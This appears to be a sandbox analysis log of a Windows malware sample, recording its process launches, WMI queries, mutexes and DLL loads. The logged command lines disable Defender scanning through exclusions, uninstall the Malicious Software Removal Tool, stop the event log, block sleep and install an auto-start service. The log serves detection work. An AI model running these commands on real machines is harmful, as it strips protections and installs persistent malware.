Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1440:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1960:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Global\mnaemhthqfvsjpoz

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cwhtavis.0rj.ps1

Jump to behavior

Source: feZvV3DCj8.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\feZvV3DCj8.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: feZvV3DCj8.exe

ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\feZvV3DCj8.exe

File read: C:\Users\user\Desktop\feZvV3DCj8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\feZvV3DCj8.exe "C:\Users\user\Desktop\feZvV3DCj8.exe"
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "STEUPFSB"
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "STEUPFSB" binpath= "C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "STEUPFSB"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\conhost.exe conhost.exe
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "STEUPFSB"	Jump to behavior
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "STEUPFSB" binpath= "C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "STEUPFSB"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Process created: C:\Windows\System32\conhost.exe conhost.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior

Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior

